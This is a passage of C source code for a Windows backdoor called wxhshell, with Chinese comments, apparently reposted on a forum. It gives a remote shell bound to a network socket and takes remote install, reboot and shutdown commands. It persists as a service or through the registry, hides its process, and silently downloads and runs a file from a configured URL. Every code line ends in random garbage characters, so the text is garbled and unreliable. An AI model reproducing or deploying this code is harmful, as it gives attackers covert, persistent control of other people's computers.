  // 帮助 55.2UN  
  case '?': { -E6av|c,F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~),%w*L  
    break; LvS5N)[  
  } AKjobA#  
  // 安装 )?radg  
  case 'i': { /2T  W?a  
    if(Install()) )vOBF5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4$vUD1('  
    else 4.,|vtp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lU Zj  
    break; ,2Ed^!`  
    } ~28{BY  
  // 卸载 |Tmug X7  
  case 'r': { 3O*iv{-&  
    if(Uninstall()) }*9F`=%F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rU9")4sQ  
    else um$U3'0e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GjW(&p$&  
    break; Y9f7~w^s  
    } `UzH *w@e  
  // 显示 wxhshell 所在路径 C[znUI>  
  case 'p': { q7aqbkwz}  
    char svExeFile[MAX_PATH]; WLU_t65  
    strcpy(svExeFile,"\n\r"); *^]  
      strcat(svExeFile,ExeFile); ~2hzyEh  
        send(wsh,svExeFile,strlen(svExeFile),0); Q`J U[nY  
    break; W?E01"p  
    } y=\&z&3$  
  // 重启 KQ9w>!N[  
  case 'b': { ,)\G<q yO6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]5 ]wyDj  
    if(Boot(REBOOT)) AX+]Z$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Fj\0S"  
    else { n7ZJ< ~wl  
    closesocket(wsh); %2D'NZS  
    ExitThread(0); ts[8;<YD  
    } 7\$}|b[9  
    break; ,ynN801\m  
    } lgVT~v{U`n  
  // 关机 }Tm+gJA  
  case 'd': { In%FOPO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r`FTiPD.C  
    if(Boot(SHUTDOWN)) ?$A)lWk(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S`mB1(h  
    else { 7`L]aRS[  
    closesocket(wsh); 0hkYexX73  
    ExitThread(0); ) xV>Va8)  
    } [8tpU&J  
    break; >(n /  
    } ho^c#>81  
  // 获取shell `r=^{Y  
  case 's': { 4?(=?0/[  
    CmdShell(wsh); (K6vXq.;\\  
    closesocket(wsh); A6_ER&9$>N  
    ExitThread(0); |I"&Z+m  
    break; J Z@sk2  
  } E 8W*^^z(  
  // 退出 SLkgIb~'X  
  case 'x': { bSI*`Dc"!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G DBV  
    CloseIt(wsh); s]=XAm"4  
    break; ixM#|Yq  
    } gP8}d*W%b  
  // 离开 /P[u vO  
  case 'q': { +  rN#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \C;Yn6PK0  
    closesocket(wsh); &u"mFweS  
    WSACleanup(); $@{ d\@U  
    exit(1); 90J WU$K  
    break; KTo}xLT  
        } H<^3H  
  } P&c O2  
  } vqUYr  
\mb@-kM)  
  // 提示信息 ;/23CFYM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fK@UlMC]7  
} 2WKIO|'  
  } Ygfy;G%  
OL#i!ia.  
  return; Q-s5-&h(  
} h>xB"E|.  
z:O:g?A  
// shell模块句柄 b4KNIP7E  
int CmdShell(SOCKET sock) 0lqh;/  
{ l'!_km0{d  
STARTUPINFO si; %dmQmO,  
ZeroMemory(&si,sizeof(si)); I L&PN`#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <dS I"C<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZZxt90YR'5  
PROCESS_INFORMATION ProcessInfo; gHL:XW^  
char cmdline[]="cmd"; z:Ru`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (i<\n`h1K  
  return 0; ZLP0SCkuR  
} i-95>ff  
8*VQw?{Uee  
// 自身启动模式 c2gZ<[~  
int StartFromService(void) .ArOZ{lKD>  
{ 0"sZP\<p  
typedef struct 54]UfmT%I  
{ L)H/t6}i  
  DWORD ExitStatus; ^'sy hI\  
  DWORD PebBaseAddress; gz:US 77  
  DWORD AffinityMask; {c $8?6  
  DWORD BasePriority; *m&'6qsS  
  ULONG UniqueProcessId; qvh8~[  
  ULONG InheritedFromUniqueProcessId; #x6w M~  
}   PROCESS_BASIC_INFORMATION; X*)DpbWd  
L`w_Q2{sv  
PROCNTQSIP NtQueryInformationProcess; [4])\q^q  
HR'F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PGTjOkx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bI;u};v  
Xa U ^^K  
  HANDLE             hProcess; o|s|Wm x>u  
  PROCESS_BASIC_INFORMATION pbi; 8RZqoQDH  
&$pQ Jf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ni;jMc  
  if(NULL == hInst ) return 0; EUPc+D3  
e/)Vx'd`+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1B{u4w7S4e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7;#o?6!7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PMj!T \B|  
$U^ Ms!'L  
  if (!NtQueryInformationProcess) return 0; V1,4M_Z  
xiC.M6/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u3 4.   
  if(!hProcess) return 0; K[-G2  
)4GCL(&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QcdAg%"yy  
.g_Kab3?L  
  CloseHandle(hProcess); >bwq  
py/#h$eY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N71%l  
if(hProcess==NULL) return 0; k <LFH(  
7X/B9Hee  
HMODULE hMod; x)kp*^/  
char procName[255]; YO.+ 06X  
unsigned long cbNeeded; 99Nm?$ g  
`q y@Qo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q,o"[ &Gp  
f Lns^  
  CloseHandle(hProcess); UtB~joaR  
) @f6  
if(strstr(procName,"services")) return 1; // 以服务启动 SUoUXh^!w  
@ w,O1Xwj  
  return 0; // 注册表启动 &X}i%etp^2  
} N/B-u)?\:  
O 0P4uq  
// 主模块 baR*4{]  
int StartWxhshell(LPSTR lpCmdLine) ?*f2P T?`  
{ 5W_Rg:J{P  
  SOCKET wsl; \q|<\~A  
BOOL val=TRUE; {k<mN Y  
  int port=0; > a8'MK  
  struct sockaddr_in door; A9y3B^\*  
s";9G^:  
  if(wscfg.ws_autoins) Install(); Xf|I=XK  
N*}g+ IS  
port=atoi(lpCmdLine); w"h3e  
*b(nX,e  
if(port<=0) port=wscfg.ws_port; T$Rf  
to] ~$~Q|>  
  WSADATA data; Ij7[2V]c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KA9v?_@{F  
mv`ND&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /Nd`eUn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JHsxaX;c  
  door.sin_family = AF_INET; I^gLiLUN*6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6PRP&|.#  
  door.sin_port = htons(port); AUm5$;o,/  
6"c(5#H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WP? AQD  
closesocket(wsl); 1n>(CwLG"  
return 1; ^r 9  
} EUuk%<q7C(  
C.=[K_  
  if(listen(wsl,2) == INVALID_SOCKET) { pb|,rLNZ  
closesocket(wsl); /E5>cqX4A  
return 1; 6Iv &c2  
} rIAbr5CG  
  Wxhshell(wsl); ks(BS k4  
  WSACleanup(); J4m2|HK  
vqJq=\ .m  
return 0; a`;nB E  
^[hx`Rh`t  
} 03dmHg.E!E  
&^K,"a{  
// 以NT服务方式启动 t`"pn <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qbD[<T  
{ IFW"S fdZk  
DWORD   status = 0; :sJQ r._L  
  DWORD   specificError = 0xfffffff;  s{T6qJ  
SH1)@K-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gx h1wqLR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CdNb&Nyz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y/,Cy0!  
  serviceStatus.dwWin32ExitCode     = 0; N9BfjT}  
  serviceStatus.dwServiceSpecificExitCode = 0; DYW&6+%,hO  
  serviceStatus.dwCheckPoint       = 0; C.?~D*Q  
  serviceStatus.dwWaitHint       = 0; l[b`4  
A0gRX]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )s>R~7  
  if (hServiceStatusHandle==0) return; Xny{8Oo<1?  
'>#8 F.  
status = GetLastError(); ,^&amWey  
  if (status!=NO_ERROR) ~y8KQ-1n"  
{ Na$[nv8qh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h%>yErs  
    serviceStatus.dwCheckPoint       = 0; Ws:MbZyr  
    serviceStatus.dwWaitHint       = 0; 9wP,Z"  
    serviceStatus.dwWin32ExitCode     = status; I*l y 7z  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fz@9 @  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $3^Cp_p6  
    return; MW|:'D`  
  } DAx 1  
|sPUb;&~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E8b:MY  
  serviceStatus.dwCheckPoint       = 0; aJ$({ZN\#  
  serviceStatus.dwWaitHint       = 0; jF0>w  m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c4(og|ifk  
} e3]v *<bj  
#9p|aS\  
// 处理NT服务事件,比如:启动、停止 r5'bt"K\>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ! +XreCw  
{ ~r?VXO p"  
switch(fdwControl) \JIyJ8FleC  
{ U'0e<IcY  
case SERVICE_CONTROL_STOP: ]q3.^F  
  serviceStatus.dwWin32ExitCode = 0; ^W ,~   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hf< [$B  
  serviceStatus.dwCheckPoint   = 0; @5*$yi 'Cp  
  serviceStatus.dwWaitHint     = 0; dc,qQM  
  { b-HELS`nX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WXe]Q bg  
  } Mk!bmFZOZ  
  return; #]@|mf q  
case SERVICE_CONTROL_PAUSE: &r1]A&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J3_Ou2cF`  
  break; L4or*C^3  
case SERVICE_CONTROL_CONTINUE: B PG&R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j. mla  
  break; p|Nh:4iN  
case SERVICE_CONTROL_INTERROGATE: ZP9x3MHe  
  break; +PKd </*]  
}; 7,5Bur  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CRPE:7,D  
} `zsooA Gt  
nG0R1<  
// 标准应用程序主函数 (0^ZZe`# j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )_SpY\J  
{ k[{ ~ eN:  
~ ;ObT=  
// 获取操作系统版本 { _~vf  
OsIsNt=GetOsVer(); ayQ2#9X}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'C) v?!19  
DIx.a^LR  
  // 从命令行安装 >Xw0i\G  
  if(strpbrk(lpCmdLine,"iI")) Install(); C{OkbE"Vym  
s%^@@Dk  
  // 下载执行文件 $) m$ c5!  
if(wscfg.ws_downexe) { '+7"dHLC;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ih)4.lLcKn  
  WinExec(wscfg.ws_filenam,SW_HIDE); z8cefD9F  
} 40}7O<9*  
[I`:%y  
if(!OsIsNt) { -9(pOwN |m  
// 如果时win9x,隐藏进程并且设置为注册表启动 kbZpi`w  
HideProc(); . Ky)Co  
StartWxhshell(lpCmdLine); L wn  
} in`|.#  
else bL/DjsZ@  
  if(StartFromService()) 8yk4#CZ  
  // 以服务方式启动 L5r02VzbD  
  StartServiceCtrlDispatcher(DispatchTable); H`1q8}m  
else =:'\wx X  
  // 普通方式启动 _RE;}1rb,  
  StartWxhshell(lpCmdLine); vH/RP  
m}6Jdt'|  
return 0; -`UOqjb]3  
}
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只看该作者 1 发表于: 2006-10-10
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